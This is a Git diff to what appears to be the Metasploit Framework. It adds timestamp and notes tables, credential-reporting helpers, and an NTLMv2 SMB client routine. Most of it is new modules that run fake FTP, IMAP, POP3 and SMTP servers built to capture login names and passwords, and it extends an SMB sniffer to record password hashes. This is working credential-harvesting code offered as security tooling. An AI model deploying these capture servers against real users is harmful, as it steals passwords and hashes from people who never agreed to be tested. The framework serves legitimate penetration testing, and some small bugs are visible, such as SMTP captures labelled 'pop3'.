diff --git a/data/sql/mysql.sql b/data/sql/mysql.sql index 7c0291709c..9558516acb 100644 --- a/data/sql/mysql.sql +++ b/data/sql/mysql.sql @@ -1,6 +1,7 @@ create table hosts ( id SERIAL PRIMARY KEY, +created TIMESTAMP, address VARCHAR(16) UNIQUE, comm VARCHAR(255), name VARCHAR(255), @@ -12,6 +13,7 @@ info VARCHAR(1024) create table services ( id SERIAL PRIMARY KEY, host_id INTEGER, +created TIMESTAMP, port INTEGER NOT NULL, proto VARCHAR(16) NOT NULL, state VARCHAR(255), @@ -23,6 +25,7 @@ info VARCHAR(1024) create table vulns ( id SERIAL PRIMARY KEY, service_id INTEGER, +created TIMESTAMP, name VARCHAR(255), data TEXT ); @@ -31,6 +34,7 @@ data TEXT create table refs ( id SERIAL PRIMARY KEY, ref_id INTEGER, +created TIMESTAMP, name VARCHAR(512) ); @@ -39,3 +43,12 @@ create table vulns_refs ( ref_id INTEGER, vuln_id INTEGER ); + + +create table notes ( +id SERIAL PRIMARY KEY, +host_id INTEGER, +created TIMESTAMP, +ntype VARCHAR(512), +data TEXT +); diff --git a/data/sql/postgres.sql b/data/sql/postgres.sql index e1de095123..08e174dc13 100644 --- a/data/sql/postgres.sql +++ b/data/sql/postgres.sql @@ -2,6 +2,7 @@ drop table hosts; create table hosts ( id SERIAL PRIMARY KEY, +created TIMESTAMP, address VARCHAR(16) UNIQUE, comm VARCHAR(255), name VARCHAR(255), @@ -14,6 +15,7 @@ drop table services; create table services ( id SERIAL PRIMARY KEY, host_id INTEGER, +created TIMESTAMP, port INTEGER NOT NULL, proto VARCHAR(16) NOT NULL, state VARCHAR(255), @@ -26,6 +28,7 @@ drop table vulns; create table vulns ( id SERIAL PRIMARY KEY, service_id INTEGER, +created TIMESTAMP, name VARCHAR(255), data TEXT ); @@ -35,6 +38,7 @@ drop table refs; create table refs ( id SERIAL PRIMARY KEY, ref_id INTEGER, +created TIMESTAMP, name VARCHAR(512) ); @@ -44,3 +48,13 @@ create table vulns_refs ( ref_id INTEGER, vuln_id INTEGER ); + +drop table notes + +create table notes ( +id SERIAL PRIMARY KEY, +host_id INTEGER, +created TIMESTAMP, +ntype VARCHAR(512), +data TEXT +); diff --git a/data/sql/sqlite.sql b/data/sql/sqlite.sql index 727e66ee4e..f877b2542a 100644 --- a/data/sql/sqlite.sql +++ b/data/sql/sqlite.sql @@ -1,6 +1,7 @@ drop table hosts; create table hosts ( 'id' INTEGER PRIMARY KEY NOT NULL, +'created' TIMESTAMP, 'address' VARCHAR(16) UNIQUE, 'comm' VARCHAR(255), 'name' VARCHAR(255), @@ -12,6 +13,7 @@ drop table services; create table services ( 'id' INTEGER PRIMARY KEY NOT NULL, 'host_id' INTEGER, +'created' TIMESTAMP, 'port' INTEGER NOT NULL, 'proto' VARCHAR(16) NOT NULL, 'state' VARCHAR(255), @@ -23,6 +25,7 @@ drop table vulns; create table vulns ( 'id' INTEGER PRIMARY KEY NOT NULL, 'service_id' INTEGER, +'created' TIMESTAMP, 'name' VARCHAR(1024), 'data' TEXT ); @@ -31,6 +34,7 @@ drop table refs; create table refs ( 'id' INTEGER PRIMARY KEY NOT NULL, 'ref_id' INTEGER, +'created' TIMESTAMP, 'name' VARCHAR(512) ); @@ -39,3 +43,12 @@ create table vulns_refs ( 'ref_id' INTEGER, 'vuln_id' INTEGER ); + +drop table notes; +create table notes ( +'id' INTEGER PRIMARY KEY NOT NULL, +'created' TIMESTAMP, +'host_id' INTEGER, +'ntype' VARCHAR(512), +'data' TEXT +); diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 899d63838d..71f8f63c4f 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -11,6 +11,12 @@ module Auxiliary::Report # # Report host and service information # + + # Shortcut method for detecting when the DB is active + def db + framework.db.active + end + def report_host(opts) return if not db addr = opts[:host] || return @@ -39,11 +45,28 @@ module Auxiliary::Report serv.save! end end - - # Shortcut method for detecting when the DB is active - def db - framework.db.active + + def report_note(opts={}) + return if not db + addr = opts[:host] || return + ntype = opts[:type] || return + data = opts[:data] || return + + host = framework.db.report_host_state(self, addr, Msf::HostState::Alive) + note = framework.db.get_note(self, host, ntype, data) end + def report_auth_info(opts={}) + addr = opts[:host] || return + data = opts[:proto] || return + + opts[:type] = "auth_#{opts[:proto]}" + opts[:data] = + "AUTH #{ opts[:targ_host] || 'unknown' }:#{ opts[:targ_port] || 'unknown' } " + + "#{opts[:user] || ""} #{opts[:pass] || "" } #{opts[:extra]}" + report_note(opts) + end + + end end diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 258bacb28d..6f75c3ed86 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -193,14 +193,32 @@ class DBManager def vulns Vuln.find(:all) end + + + # + # This method iterates the notes table calling the supplied block with the + # note instance of each entry. + # + def each_note(&block) + notes.each do |note| + block.call(note) + end + end + # + # This methods returns a list of all notes in the database + # + def notes + Note.find(:all) + end + # # Find or create a host matching this address/comm # def get_host(context, address, comm='') host = Host.find(:first, :conditions => [ "address = ? and comm = ?", address, comm]) if (not host) - host = Host.create(:address => address, :comm => comm, :state => HostState::Unknown) + host = Host.create(:address => address, :comm => comm, :state => HostState::Unknown, :created => Time.now) host.save framework.events.on_db_host(context, host) end @@ -218,7 +236,8 @@ class DBManager :host_id => host.id, :proto => proto, :port => port, - :state => state + :state => state, + :created => Time.now ) rec.save framework.events.on_db_service(context, rec) @@ -235,7 +254,8 @@ class DBManager vuln = Vuln.create( :service_id => service.id, :name => name, - :data => data + :data => data, + :created => Time.now ) vuln.save framework.events.on_db_vuln(context, vuln) @@ -251,7 +271,8 @@ class DBManager ref = Ref.find(:first, :conditions => [ "name = ?", name]) if (not ref) ref = Ref.create( - :name => name + :name => name, + :created => Time.now ) ref.save framework.events.on_db_ref(context, ref) @@ -260,6 +281,24 @@ class DBManager return ref end + # + # Find or create a note matching this type/data + # + def get_note(context, host, ntype, data) + rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host.id, ntype, data]) + if (not rec) + rec = Note.create( + :host_id => host.id, + :ntype => ntype, + :data => data, + :created => Time.now + ) + rec.save + framework.events.on_db_note(context, rec) + end + return rec + end + # # Find a reference matching this name # diff --git a/lib/msf/core/db_objects.rb b/lib/msf/core/db_objects.rb index 6ba0fe4b1d..9a14bcaba1 100644 --- a/lib/msf/core/db_objects.rb +++ b/lib/msf/core/db_objects.rb @@ -84,5 +84,16 @@ class VulnRefs < ActiveRecord::Base include DBSave end + +# Service object definition +class Note < ActiveRecord::Base + include DBSave + belongs_to :host + + def host + Host.find(:first, :conditions => [ "id = ?", host_id ]) + end +end + end end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 291100d974..92866503df 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -32,8 +32,10 @@ module Db "db_hosts" => "List all hosts in the database", "db_services" => "List all services in the database", "db_vulns" => "List all vulnerabilities in the database", + "db_notes" => "List all notes in the database", "db_add_host" => "Add one or more hosts to the database", "db_add_port" => "Add a port to host", + "db_add_note" => "Add a note to host", "db_autopwn" => "Automatically exploit everything", "db_import_nessus_nbe" => "Import a Nessus scan result file (NBE)", "db_import_nmap_xml" => "Import a Nmap scan results file (-oX)", @@ -43,27 +45,34 @@ module Db def cmd_db_hosts(*args) framework.db.each_host do |host| - print_status("Host: #{host.address}") + print_status("Time: #{host.created} Host: #{host.address}") end end def cmd_db_services(*args) framework.db.each_service do |service| - print_status("Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state} name=#{service.name}") + print_status("Time: #{service.created}] Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state} name=#{service.name}") end end def cmd_db_vulns(*args) framework.db.each_vuln do |vuln| reflist = vuln.refs.map { |r| r.name } - print_status("Vuln: host=#{vuln.host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}") + print_status("Time: #{vuln.created} Vuln: host=#{vuln.host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}") end end - + + def cmd_db_notes(*args) + framework.db.each_note do |note| + print_status("Time: #{note.created} Note: host=#{note.host.address} type=#{note.ntype} data=#{note.data}") + end + end + def cmd_db_add_host(*args) print_status("Adding #{args.length.to_s} hosts...") args.each do |address| - framework.db.get_host(nil, address) + host = framework.db.get_host(nil, address) + print_status("Time: #{host.created} Host: host=#{service.host.address}") end end @@ -79,9 +88,28 @@ module Db service = framework.db.get_service(nil, host, args[2].downcase, args[1].to_i) return if not service - print_status("Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state}") + print_status("Time: #{service.created} Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state}") end + def cmd_db_add_note(*args) + if (not args or args.length < 3) + print_status("Usage: db_add_note [host] [type] [note]") + return + end + + naddr = args.shift + ntype = args.shift + ndata = args.join(" ") + + host = framework.db.get_host(nil, naddr) + return if not host + + note = framework.db.get_note(nil, host, ntype, ndata) + return if not note + + print_status("Time: #{note.created} Note: host=#{note.host.address} type=#{note.ntype} data=#{note.data}") + end + # # A shotgun approach to network-wide exploitation # diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 0a63b1bf4f..0fed082e95 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -830,6 +830,78 @@ EVADE = Rex::Proto::SMB::Evasions self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, false) end + + # Authenticate using extended security negotiation (NTLMv2), but stop half-way, using the temporary ID + def session_setup_ntlmv2_temp(domain = '', name = nil) + + if (name == nil) + name = Rex::Text.rand_text_alphanumeric(16) + end + + blob = UTILS.make_ntlmv2_secblob_init(domain, name) + + native_data = '' + native_data << self.native_os + "\x00" + native_data << self.native_lm + "\x00" + + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + pkt['Payload']['SMB'].v['WordCount'] = 12 + pkt['Payload'].v['AndX'] = 255 + pkt['Payload'].v['MaxBuff'] = 0xffdf + pkt['Payload'].v['MaxMPX'] = 2 + pkt['Payload'].v['VCNum'] = 1 + pkt['Payload'].v['SecurityBlobLen'] = blob.length + pkt['Payload'].v['Capabilities'] = 0x8000d05c + pkt['Payload'].v['SessionKey'] = self.session_id + pkt['Payload'].v['Payload'] = blob + native_data + + self.smb_send(pkt.to_s) + ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) + + # The server doesn't know about NTLM_NEGOTIATE, try ntlmv1 + if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002) + return session_setup_ntlmv1(user, pass, domain) + end + + # Make sure the error code tells us to continue processing + if (ack['Payload']['SMB'].v['ErrorClass'] != 0xc0000016) + failure = XCEPT::ErrorCode.new + failure.word_count = ack['Payload']['SMB'].v['WordCount'] + failure.command = ack['Payload']['SMB'].v['Command'] + failure.error_code = ack['Payload']['SMB'].v['ErrorClass'] + raise failure + end + + # Extract the SecurityBlob from the response + data = ack['Payload'].v['Payload'] + blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen']) + + # Extract the native lanman and os strings + info = data.split(/\x00/) + self.peer_native_os = info[0] + self.peer_native_lm = info[1] + + # Save the temporary UserID for use in the next request + self.auth_user_id = ack['Payload']['SMB'].v['UserID'] + + # Extract the NTLM challenge key the lazy way + cidx = blob.index("NTLMSSP\x00\x02\x00\x00\x00") + + if (cidx == -1) + raise XCEPT::NTLM2MissingChallenge + end + + # Store the challenge key + self.challenge_key = blob[cidx + 24, 8] + + return ack + end + # Connect to a specified share with an optional password def tree_connect(share = 'IPC$', pass = '') @@ -1591,7 +1663,6 @@ EVADE = Rex::Proto::SMB::Evasions attr_reader :security_mode, :server_guid # private methods -protected attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os attr_writer :default_domain, :default_name, :auth_user, :auth_user_id attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb new file mode 100644 index 0000000000..abcb4cdfd6 --- /dev/null +++ b/modules/auxiliary/server/capture/ftp.rb @@ -0,0 +1,108 @@ +## +# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Auxiliary::Server::Capture::Ftp < Msf::Auxiliary + + include Exploit::Remote::TcpServer + include Auxiliary::Report + + + def initialize + super( + 'Name' => 'Authentication Capture: FTP', + 'Version' => '$Revision: 5069 $', + 'Description' => %q{ + This module provides a fake FTP service that + is designed to capture authentication credentials. + }, + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Capture' ] + ], + 'PassiveActions' => + [ + 'Capture' + ], + 'DefaultAction' => 'Capture' + ) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def run + exploit() + end + + def on_client_connect(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} + c.put "220 FTP Server Ready\r\n" + end + + def on_client_data(c) + data = c.get_once + return if not data + cmd,arg = data.strip.split(/\s+/, 2) + arg ||= "" + + if(cmd.upcase == "USER") + @state[c][:user] = arg + c.put "331 User name okay, need password...\r\n" + return + end + + if(cmd.upcase == "QUIT") + c.put "221 Logout\r\n" + return + end + + if(cmd.upcase == "PASS") + @state[c][:pass] = arg + + report_auth_info( + :host => @state[c][:ip], + :proto => 'ftp', + :targ_host => datastore['SRVHOST'], + :targ_port => datastore['SRVPORT'], + :user => @state[c][:user], + :pass => @state[c][:pass] + ) + + print_status("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + end + + @state[c][:pass] = data.strip + c.put "500 Error\r\n" + return + + end + + def on_client_close(c) + @state.delete(c) + end + + +end +end diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb new file mode 100644 index 0000000000..744bf54c7c --- /dev/null +++ b/modules/auxiliary/server/capture/imap.rb @@ -0,0 +1,96 @@ +## +# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Auxiliary::Server::Capture::Imap < Msf::Auxiliary + + include Exploit::Remote::TcpServer + include Auxiliary::Report + + + def initialize + super( + 'Name' => 'Authentication Capture: IMAP', + 'Version' => '$Revision: 5069 $', + 'Description' => %q{ + This module provides a fake IMAP service that + is designed to capture authentication credentials. + }, + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Capture' ] + ], + 'PassiveActions' => + [ + 'Capture' + ], + 'DefaultAction' => 'Capture' + ) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def run + exploit() + end + + def on_client_connect(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} + c.put "* OK IMAP4\r\n\r\n" + end + + def on_client_data(c) + data = c.get_once + return if not data + num,cmd,arg = data.strip.split(/\s+/, 3) + arg ||= "" + + if(cmd.upcase == "LOGIN") + @state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2) + + report_auth_info( + :host => @state[c][:ip], + :proto => 'imap', + :targ_host => datastore['SRVHOST'], + :targ_port => datastore['SRVPORT'], + :user => @state[c][:user], + :pass => @state[c][:pass] + ) + print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + end + + @state[c][:pass] = data.strip + c.put "#{num} NO LOGIN FAILURE\r\n" + return + + end + + def on_client_close(c) + @state.delete(c) + end + + +end +end diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb new file mode 100644 index 0000000000..1f6cbea4b2 --- /dev/null +++ b/modules/auxiliary/server/capture/pop3.rb @@ -0,0 +1,102 @@ +## +# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Auxiliary::Server::Capture::Pop3 < Msf::Auxiliary + + include Exploit::Remote::TcpServer + include Auxiliary::Report + + + def initialize + super( + 'Name' => 'Authentication Capture: POP3', + 'Version' => '$Revision: 5069 $', + 'Description' => %q{ + This module provides a fake POP3 service that + is designed to capture authentication credentials. + }, + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Capture' ] + ], + 'PassiveActions' => + [ + 'Capture' + ], + 'DefaultAction' => 'Capture' + ) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 110 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def run + exploit() + end + + def on_client_connect(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} + c.put "+OK\r\n" + end + + def on_client_data(c) + data = c.get_once + return if not data + cmd,arg = data.strip.split(/\s+/, 2) + arg ||= "" + + if(cmd.upcase == "USER") + @state[c][:user] = arg + c.put "+OK\r\n" + return + end + + if(cmd.upcase == "PASS") + @state[c][:pass] = arg + + report_auth_info( + :host => @state[c][:ip], + :proto => 'pop3', + :targ_host => datastore['SRVHOST'], + :targ_port => datastore['SRVPORT'], + :user => @state[c][:user], + :pass => @state[c][:pass] + ) + print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + end + + @state[c][:pass] = data.strip + c.put "-ERR\r\n" + return + + end + + def on_client_close(c) + @state.delete(c) + end + + +end +end diff --git a/modules/auxiliary/server/smb_sniffer.rb b/modules/auxiliary/server/capture/smb.rb similarity index 87% rename from modules/auxiliary/server/smb_sniffer.rb rename to modules/auxiliary/server/capture/smb.rb index 168f5997b9..8f10837692 100644 --- a/modules/auxiliary/server/smb_sniffer.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -1,5 +1,5 @@ ## -# $Id$ +# $Id: smb_sniffer.rb 5241 2007-12-31 03:03:08Z hdm $ ## ## @@ -14,15 +14,15 @@ require 'msf/core' module Msf -class Auxiliary::Server::SMBSniffer < Msf::Auxiliary +class Auxiliary::Server::Capture::SMBSniffer < Msf::Auxiliary include Auxiliary::Report include Exploit::Remote::SMBServer def initialize super( - 'Name' => 'SMB Server Challenge/Response Sniffer', - 'Version' => '$Revision$', + 'Name' => 'Authentication Capture: SMB', + 'Version' => '$Revision: 5241 $', 'Description' => %q{ This module provides a SMB service that can be used to capture the challenge-response password hashes of SMB client @@ -194,6 +194,35 @@ class Auxiliary::Server::SMBSniffer < Msf::Auxiliary "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" ) + report_auth_info( + :host => smb[:ip], + :proto => 'smb_challenge', + :targ_host => datastore['SRVHOST'], + :targ_port => datastore['SRVPORT'], + :user => smb[:username], + :pass => + ( nt_hash ? nt_hash : "" ) + ":" + (lm_hash ? lm_hash : "" ), + :extra => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}" + ) + + report_note( + :host => smb[:ip], + :type => "smb_peer_os", + :data => smb[:peer_os] + ) if smb[:peer_os] + + report_note( + :host => smb[:ip], + :type => "smb_peer_lm", + :data => smb[:peer_lm] + ) if smb[:peer_lm] + + report_note( + :host => smb[:ip], + :type => "smb_domain", + :data => smb[:domain] + ) if smb[:domain] + fd = File.open(datastore['LOGFILE'], "a") fd.puts( [ @@ -255,8 +284,5 @@ class Auxiliary::Server::SMBSniffer < Msf::Auxiliary end - - end - end diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb new file mode 100644 index 0000000000..8cce52d8b9 --- /dev/null +++ b/modules/auxiliary/server/capture/smtp.rb @@ -0,0 +1,146 @@ +## +# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Auxiliary::Server::Capture::Smtp < Msf::Auxiliary + + include Exploit::Remote::TcpServer + include Auxiliary::Report + + + def initialize + super( + 'Name' => 'Authentication Capture: SMTP', + 'Version' => '$Revision: 5069 $', + 'Description' => %q{ + This module provides a fake SMTP service that + is designed to capture authentication credentials. + }, + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Capture' ] + ], + 'PassiveActions' => + [ + 'Capture' + ], + 'DefaultAction' => 'Capture' + ) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def run + exploit() + end + + def on_client_connect(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} + c.put "220 SMTP Server Ready\r\n" + end + + def on_client_data(c) + data = c.get_once + return if not data + + print_status("SMTP: #{data.strip}") + + if(@state[c][:data_mode]) + + @state[c][:data_buff] ||= '' + @state[c][:data_buff] += data + + idx = @state[c][:data_buff].index("\r\n.\r\n") + if(idx) + report_note( + :host => @state[c][:ip], + :type => "smtp_message", + :data => @state[c][:data_buff][0,idx] + ) + @state[c][:data_buff] = nil + @state[c][:data_mode] = nil + c.put "250 OK\r\n" + end + + return + end + + + cmd,arg = data.strip.split(/\s+/, 2) + arg ||= "" + + case cmd.upcase + when 'HELO', 'EHLO' + c.put "250 OK\r\n" + return + + when 'MAIL' + x,from = data.strip.split(":", 2) + @state[c][:from] = from.strip + c.put "250 OK\r\n" + return + + when 'RCPT' + x,targ = data.strip.split(":", 2) + @state[c][:rcpt] = targ.strip + c.put "250 OK\r\n" + return + + when 'DATA' + @state[c][:data_mode] = true + c.put "354 OK\r\n" + return + + when 'QUIT' + c.put "221 OK\r\n" + return + + when 'PASS' + + @state[c][:pass] = arg + + report_auth_info( + :host => @state[c][:ip], + :proto => 'pop3', + :targ_host => datastore['SRVHOST'], + :targ_port => datastore['SRVPORT'], + :user => @state[c][:user], + :pass => @state[c][:pass] + ) + print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + end + + c.put "503 Server Error\r\n" + return + + end + + def on_client_close(c) + @state.delete(c) + end + + +end +end